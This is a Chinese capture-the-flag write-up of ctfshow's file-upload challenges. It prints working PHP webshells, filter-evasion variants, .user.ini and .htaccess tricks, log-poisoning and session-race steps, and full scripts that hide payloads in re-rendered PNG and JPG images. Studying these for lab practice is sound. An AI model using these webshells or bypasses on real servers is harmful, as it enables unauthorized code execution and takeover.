Stories

Detail Return Return

ctfshow--web入門--文件上傳 - Stories Detail

ctfshow--web入門--文件上傳

目錄
  • ctfshow--web入門--文件上傳
    • web151(前端校驗)
    • web152(content-type)
    • web153(.user.ini)
    • web154(內容檢測'php')
    • web155(內容檢測'php')
    • web156(內容檢測'[')
    • web157(內容檢測'php''[]''{}'';')
    • web158(文件檢測'php''{''['';''log')
    • web159(日誌包含)
    • web160(日誌空格檢測)
    • web161(日誌文件頭檢測)
    • web162&&web163(session包含)
    • web164(png圖片二次渲染)
    • web165(jpg圖片二次渲染)
    • web166(zip)
    • web167(.htaccess)
    • web168(姿勢繞過)
    • web169&web170(構造包含日誌)
    • 文件上傳總結
    • 參考文章

web151(前端校驗)

題目中提示前端檢驗不可靠,應該對前端檢驗進行繞過
在這裏插入圖片描述
檢查前端代碼進行修改,使php文件可以通過前端校驗,成功上傳後進行命令執行,找到flag
在這裏插入圖片描述

web152(content-type)

通過前端校驗後上傳php文件顯示文件類型不合規
在這裏插入圖片描述
嘗試抓包修改content-type,根據數據包回顯得知上傳成功。
在這裏插入圖片描述
訪問後門文件代碼執行得到flag

web153(.user.ini)

直接上傳php文件顯示文件類型不合規,嘗試修改content-type上傳不成功,上傳php3
後綴服務器不能解析
嘗試訪問upload文件夾,發現upload文件夾有默認索引,具有index.php文件,那麼可以利用.user.ini文件來進行上傳
具體user.ini知識點參考.htaccess 和.user.ini 配置文件妙用
.user.ini文件其實就是一個局部配置文件,可以通過配置選項使每個php文件頭或文件尾都進行文件包含

auto_prepend_file = <filename>         //包含在文件頭
auto_append_file = <filename>          //包含在文件尾

在這裏插入圖片描述
通過.user.ini使得upload文件夾下每個php文件在文件頭都包含1.png文件
構造圖片馬1.png進行上傳,由於.user.ini使得upload下index.php包含所上傳的圖片馬,直接訪問index.php進行命令執行即可得到falg

web154(內容檢測'php')

大致步驟與153題一樣。在上傳的時候發現圖片馬上傳不了,經過測試發現對圖片內容中的php做了處理,那麼在圖片馬中可以採用php其他風格得寫法,如短標籤等。具體可以參考PHP四種標記風格

web155(內容檢測'php')

同上

web156(內容檢測'[')

源碼檢測了php和[,採用短標記和大括號替代

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超過1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && stripos($content,"[")===FALSE){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件類型不合規");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件類型不合規");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件類型不合規");
    	}
    	
    }

}

echo json_encode($ret);

stripos() 函數查找字符串在另一字符串中第一次出現的位置(不區分大小寫)。

web157(內容檢測'php''[]''{}'';')

上傳.user.ini
在上傳圖片馬得過程中,經過使用二分法對一句話木馬的分析發現,後台代碼對圖片馬內容中的關鍵字‘php’,'[]','{}'以及';'都進行了檢測,這一關的性質就由文件上傳轉變為了任意代碼執行,那麼只好再次對木馬文件進行偽裝

<?= @eval(array_pop($_POST))?>

使用=短標籤繞過php檢測
@不提示報錯信息
eval()把內容當作php語句執行
array_pop()將數組中最後一個元素取出並刪除
使用$_POST接受任意變量
使用該文件並不能獲取shell,只能通過POST提交數據進行代碼執行
代碼執行過程
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

web158(文件檢測'php''{''['';''log')

得到flag方式與上題一致
通過執行命令

cp ../upload.php ../1.txt

將源碼複製到1.txt得到源碼

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超過1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content)){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件類型不合規");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件類型不合規");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件類型不合規");
    	}
    	
    }

}
function check($str){
    return !preg_match('/pghp|\{|\[|\;|log/i', $str);
}
echo json_encode($ret);

源碼中通過check()函數使用preg_match()函數用正則表達式檢測文件內容中是否含有關鍵字'php''{''['';''log'

web159(日誌包含)

在上傳.user.ini文件後,上傳圖片馬時,經過二分法檢測出後台代碼增加了對'()'的檢測
於是只能再次改變文件內容,使其包含nginx的日誌文件,由於後台代碼對關鍵字'log'也進行了過濾,因此文件構造為

<? include "/var/lo"."g/nginx/access.lo"."g"?>

在這裏插入圖片描述
上傳後訪問upload查看是否包含了日誌文件,再構造UA頭對日誌文件中插入後門代碼,再次查看成功插入後門代碼
在這裏插入圖片描述
蟻劍連接得到flag

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超過1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content)){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件類型不合規");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件類型不合規");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件類型不合規");
    	}
    	
    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(/i', $str);
}
echo json_encode($ret);

web160(日誌空格檢測)

在上傳.user.ini配置文件時,經過測試發現多了對空格的檢測。
POC:

auto_prepend_file=1.png			.user.ini內容
<?=include"/var/lo"."g/nginx/access.l"."og"?>		1.png內容

其餘操作與上一關一致,通過修改UA頭將後門代碼寫入日誌,然後連接後門

web161(日誌文件頭檢測)

在上傳.user.ini文件時,經過檢測發現對文件頭進行檢測,所以在上傳所有文件時都要加上圖片格式的文件頭
POC:

GIF89a
auto_prepend_file=1.png		.user.ini文件配置
GIF89a
<?=include"/var/lo"."g/nginx/access.l"."og"?>		1.png文件配置

其餘利用方式與上一關一致
這一關是關於getimagesize函數繞過

web162&&web163(session包含)

在上傳.user.ini文件時,經過檢測發現對'.'進行了檢測,那麼只能採用包含session文件的方法
.user.ini文件內容為

GIF89a
auto_prepend_file=/tmp/sess_shell

這樣可以跳過上傳圖片馬作為包含文件的跳板,直接使upload下的index.php文件包含session文件

需要編寫一個向目標地址發送POST請求創建session文件的文件上傳網頁

<!DOCTYPE html>
<html>
<body>
<form action="http://78c48379-27b6-4a04-ac10-07c787b030d4.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('tac ../f*')?>");?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

打開網頁向目標地址發送數據包,並在數據包中構造session文件的文件名
在這裏插入圖片描述
將該POST數據包與訪問upload目錄的GET數據包進行條件競爭,訪問upload的數據包長度發生變化即創建後門文件成功
在這裏插入圖片描述
連接後門即可拿到flag

web164(png圖片二次渲染)

這一關考察png圖片二次渲染,經過上傳圖片後再次將圖片下載下來經過對比,使用010editor發現經過了二次渲染,很多地方的數據都不一樣了

所謂二次渲染,就是網站將用户所上傳的文件,由於各種原因(適配網站顯示,防止木馬)等,將文件中的數據進行修改,
對二次渲染的繞過即將源文件與上傳之後的文件進行對比,找出沒有發生變化的數據位置,將後門代碼插入沒有發生變化的
數據的位置。對於繞過二次渲染,人工繞過幾乎不可能,這就需要使用腳本來進行構建圖片馬。

某不知名佬寫的代碼,參考CTFSHOW-文件上傳

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'1.png');  //要修改的圖片的路徑
 
/* 木馬內容
<?$_GET[0]($_POST[1]);?>
 */
//imagepng($img,'1.png');  要修改的圖片的路徑,1.png是使用的文件,可以不存在
//會在目錄下自動創建一個1.png圖片
//圖片腳本內容:$_GET[0]($_POST[1]);
//使用方法:例子:查看圖片,get傳入0=system;post傳入tac flag.php
 
?>
------------------------------------
           創建1.png圖片成功!      
------------------------------------

使用該腳本對圖片進行重新修改,再次上傳,發送GET和POST數據即可獲得flag
在這裏插入圖片描述

web165(jpg圖片二次渲染)

這裏考察jpg圖片二次渲染繞過,同樣需要用腳本構建jpg圖片馬

<?php
    /*
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.
    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
    Sergey Bobrov @Black2Fan.
    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    */
 
    $miniPayload = '<?=eval($_POST[1]);?>';
 
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
    
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

使用方式需要安裝php環境

php 腳本.php payload.jpg	

構建jpg格式的圖片馬由於各種原因參考付傑博客成功率比較低,下面使一張成功率較高的圖片
在這裏插入圖片描述
將原圖片進行上傳,再重新對其進行下載,經過瀏覽器的渲染之後,腳本插入後門代碼成功率會更高。
將經過渲染之後的圖片再使用腳本插入後門代碼,重新上傳即可進行代碼執行或連接shell
在這裏插入圖片描述
在這裏插入圖片描述

web166(zip)

這裏經過測試發現上傳點zip壓縮文件上傳,將木馬文件修改後綴上傳即可。
在這裏插入圖片描述
將訪問文件的數據包抓取發現採用變量file,可能是文件包含,將數據包改為POST方法執行命令即可得到flag
在這裏插入圖片描述

web167(.htaccess)

經過測試上傳文件必須為jpg後綴,通過題目提示httpd,嘗試使用上傳.htaccess文件進行繞過

AddType application/x-httpd-php .jpg	/將.jpg後綴文件當作php解析

在這裏插入圖片描述
將木馬文件後綴改為jpj,content-type改為jpeg即可成功上傳

web168(姿勢繞過)

經過測試發現,文件上傳點將eval和system以及post和get過濾了
也可以使用反引號來進行命令執行,通過不斷修改上傳文件中的內容和不斷訪問該文件來獲取flag

<?php echo `tac ../flagaa.php`;?>

在這裏插入圖片描述
在這裏插入圖片描述
還可以使用其他姿勢來繞過

<?php
$a="s,y,s,t,e,m";
$b=explode(",",$a);		以','為分割符,將字符串拆分為數組
$c=$b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST['pass']);
?>
<?php
$a=substr("1sys",1)."tem";		返回字符串中第一位以後的字符串
$a($_REQUEST['pass']);
?>
$a=strrev("metsys");		反轉字符串
$a($_REQUEST['pass'])
?>

參考文章:
CTFshow-WEB入門-文件上傳(持續更新)
PHP數據接收變量$_GET、$_POST 、$_REQUEST區別

web169&web170(構造包含日誌)

經過檢測,後台對'<'進行了檢測,那麼所有的php代碼就不能上傳了,但是php文件依舊可也上傳,我們可以上傳一個php後綴的文件,然後使用上傳.user.ini的方法來進行日誌包含,然後構造UA頭進行訪問即可得到flag
在這裏插入圖片描述

文件上傳總結

  1. 前端校驗,採用修改前端代碼或禁用JS等
  2. content-type校驗,修改數據包中content-type值
  3. 上傳配置文件,修改配置進行上傳
  4. 上傳內容檢測,通過二分法測試出檢測內容,使用各種姿勢進行繞過
  5. 文件頭校驗,在文件中添加符合上傳規則的文件頭
  6. 配合文件包含,使用包含日誌和包含session文件
  7. 二次渲染使用腳本構建圖片馬配合文件包含進行上傳

參考文章

.htaccess 和.user.ini 配置文件妙用
PHP四種標記風格
CTFSHOW-文件上傳
付傑博客
CTFshow-WEB入門-文件上傳(持續更新)
PHP數據接收變量$_GET、$_POST 、$_REQUEST區別
官方write up 視頻講解

以上內容僅作學習,如有錯誤或瑕疵,歡迎各位大佬進行斧正,感謝閲讀。

Add a new Comments

Some HTML is okay.